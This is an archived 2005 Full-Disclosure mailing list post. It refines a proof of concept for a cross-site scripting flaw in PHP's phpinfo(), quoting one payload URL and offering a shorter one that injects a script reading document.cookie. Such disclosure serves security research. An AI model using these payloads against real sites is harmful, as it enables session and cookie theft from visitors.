full-disclosure - PoC for PHP Cross Site Scripting (XSS)XVulnerability in phpinfo()

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <436B44BE.40806@moritz-naumann.com>
Date: Fri Nov  4 11:23:49 2005
From: security at moritz-naumann.com (Moritz Naumann)
Subject: PoC for PHP Cross Site Scripting
	(XSS)XVulnerability in phpinfo()

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

phole@...hmail.com schrieb:
> PoC:
> phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>

...or just use
phpinfo.php?[]=<script>alert(document.cookie);</script>

Saves some typing. In contrary to the above, this one only works on IE
(tested 6 on XP SP2) & Konqueror (tested 3.4.2), though.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFDa0S+n6GkvSd/BgwRAr56AJ0aSs+7n00IdUk6HQRd+Akwe2EJIgCeOIm9
eLVPXP/uSdLOxg5/w1pB2no=
=C/qI
-----END PGP SIGNATURE-----